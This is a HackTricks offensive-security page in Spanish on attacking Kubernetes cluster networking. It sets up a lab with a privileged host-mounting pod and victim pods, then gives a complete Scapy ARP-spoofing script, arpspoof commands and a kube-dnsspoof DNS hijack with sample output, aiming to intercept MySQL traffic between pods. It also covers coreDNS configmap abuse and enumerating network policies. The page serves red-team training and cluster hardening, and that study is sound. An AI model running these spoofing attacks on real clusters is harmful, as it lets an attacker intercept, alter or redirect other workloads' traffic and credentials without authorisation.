Kubernetes Network Attacks
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Introducción
En Kubernetes, se observa que un comportamiento predeterminado permite el establecimiento de conexiones entre todos los contenedores que residen en el mismo nodo. Esto se aplica independientemente de las distinciones de espacio de nombres. Tal conectividad se extiende hasta Capa 2 (Ethernet). En consecuencia, esta configuración potencialmente expone al sistema a vulnerabilidades. Específicamente, abre la posibilidad de que un contenedor malicioso ejecute un ataque de suplantación ARP contra otros contenedores situados en el mismo nodo. Durante tal ataque, el contenedor malicioso puede interceptar o modificar engañosamente el tráfico de red destinado a otros contenedores.
Los ataques de suplantación ARP implican que el atacante envíe mensajes ARP falsificados (Protocolo de Resolución de Direcciones) a través de una red de área local. Esto resulta en la vinculación de la dirección MAC del atacante con la dirección IP de una computadora o servidor legítimo en la red. Después de la ejecución exitosa de tal ataque, el atacante puede interceptar, modificar o incluso detener datos en tránsito. El ataque se ejecuta en la Capa 2 del modelo OSI, razón por la cual la conectividad predeterminada en Kubernetes en esta capa plantea preocupaciones de seguridad.
En el escenario se van a crear 4 máquinas:
- ubuntu-pe: Máquina privilegiada para escapar al nodo y verificar métricas (no necesaria para el ataque)
- ubuntu-attack: Contenedor malicioso en el espacio de nombres predeterminado
- ubuntu-victim: Máquina víctima en el espacio de nombres kube-system
- mysql: Máquina víctima en el espacio de nombres predeterminado
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
Redes Básicas de Kubernetes
Si deseas más detalles sobre los temas de redes introducidos aquí, consulta las referencias.
ARP
En términos generales, la red de pod a pod dentro del nodo está disponible a través de un puente que conecta todos los pods. Este puente se llama “cbr0”. (Algunos complementos de red instalarán su propio puente.) El cbr0 también puede manejar ARP (Protocolo de Resolución de Direcciones). Cuando un paquete entrante llega a cbr0, puede resolver la dirección MAC de destino utilizando ARP.
Este hecho implica que, por defecto, cada pod que se ejecuta en el mismo nodo podrá comunicarse con cualquier otro pod en el mismo nodo (independientemente del espacio de nombres) a nivel de ethernet (capa 2).
Warning
Por lo tanto, es posible realizar ataques de ARP Spoofing entre pods en el mismo nodo.
DNS
En entornos de kubernetes, generalmente encontrarás 1 (o más) servicios DNS en ejecución usualmente en el espacio de nombres kube-system:
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
En la información anterior puedes ver algo interesante, la IP del servicio es 10.96.0.10 pero la IP del pod que ejecuta el servicio es 172.17.0.2.
Si verificas la dirección DNS dentro de cualquier pod, encontrarás algo como esto:
cat /etc/resolv.conf
nameserver 10.96.0.10
Sin embargo, el pod no sabe cómo llegar a esa dirección porque el rango de pods en este caso es 172.17.0.10/26.
Por lo tanto, el pod enviará las solicitudes DNS a la dirección 10.96.0.10 que será traducida por el cbr0 a 172.17.0.2.
Warning
Esto significa que una solicitud DNS de un pod siempre irá al puente para traducir la IP del servicio a la IP del endpoint, incluso si el servidor DNS está en la misma subred que el pod.
Sabiendo esto, y sabiendo que los ataques ARP son posibles, un pod en un nodo podrá interceptar el tráfico entre cada pod en la subred y el puente y modificar las respuestas DNS del servidor DNS (DNS Spoofing).
Además, si el servidor DNS está en el mismo nodo que el atacante, el atacante puede interceptar todas las solicitudes DNS de cualquier pod en el clúster (entre el servidor DNS y el puente) y modificar las respuestas.
ARP Spoofing en pods en el mismo Nodo
Nuestro objetivo es robar al menos la comunicación del ubuntu-victim al mysql.
Scapy
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
DNS Spoofing
Como ya se mencionó, si comprometes un pod en el mismo nodo del pod del servidor DNS, puedes MitM con ARPSpoofing el puente y el pod DNS y modificar todas las respuestas DNS.
Tienes una muy buena herramienta y tutorial para probar esto en https://github.com/danielsagi/kube-dnsspoof/
En nuestro escenario, descarga la herramienta en el pod atacante y crea un archivo llamado hosts con los dominios que deseas spoof como:
cat hosts
google.com. 1.1.1.1
Realiza el ataque a la máquina ubuntu-victim:
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
Note
Si intentas crear tu propio script de suplantación de DNS, si solo modificas la respuesta de DNS eso no va a funcionar, porque la respuesta va a tener una src IP la dirección IP del pod malicioso y no será aceptada.
Necesitas generar un nuevo paquete DNS con la src IP del DNS donde la víctima envía la solicitud DNS (que es algo como 172.16.0.2, no 10.96.0.10, esa es la IP del servicio DNS de K8s y no la IP del servidor DNS, más sobre esto en la introducción).
Suplantación de DNS a través del configmap de coreDNS
Un usuario con permisos de escritura sobre el configmap coredns en el namespace kube-system puede modificar las respuestas DNS del clúster.
Consulta más información sobre este ataque en:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}
Abusando de servicios de gestión de kubernetes expuestos
Servicios como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope y el panel de control de Kubernetes a menudo están expuestos ya sea a internet o dentro de la red de kubernetes. Un atacante que logre encontrar cualquier plataforma utilizada para gestionar kubernetes y acceder a ella puede abusar de esto para obtener acceso a la API de kubernetes y realizar acciones como crear nuevos pods, modificar los existentes o incluso eliminarlos.
Enumerando políticas de red de kubernetes
Obtén networkpolicies configuradas:
kubectl get networkpolicies --all-namespaces
Obtener políticas de red de Callico:
kubectl get globalnetworkpolicy --all-namespaces
Obtener políticas de red de Cillium:
kubectl get ciliumnetworkpolicy --all-namespaces
Obtén otros CRDs relacionados con políticas instalados por tu complemento de red o solución de seguridad:
kubectl get crd | grep -i policy
Capturando Tráfico
La herramienta Mizu es un visor de tráfico de API simple pero poderoso para Kubernetes que te permite ver toda la comunicación de API entre microservicios para ayudarte a depurar y solucionar regresiones.
Instalará agentes en los pods seleccionados y recopilará su información de tráfico para mostrártela en un servidor web. Sin embargo, necesitarás altos permisos de K8s para esto (y no es muy sigiloso).
Referencias
- https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
- https://blog.aquasec.com/dns-spoofing-kubernetes-clusters
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

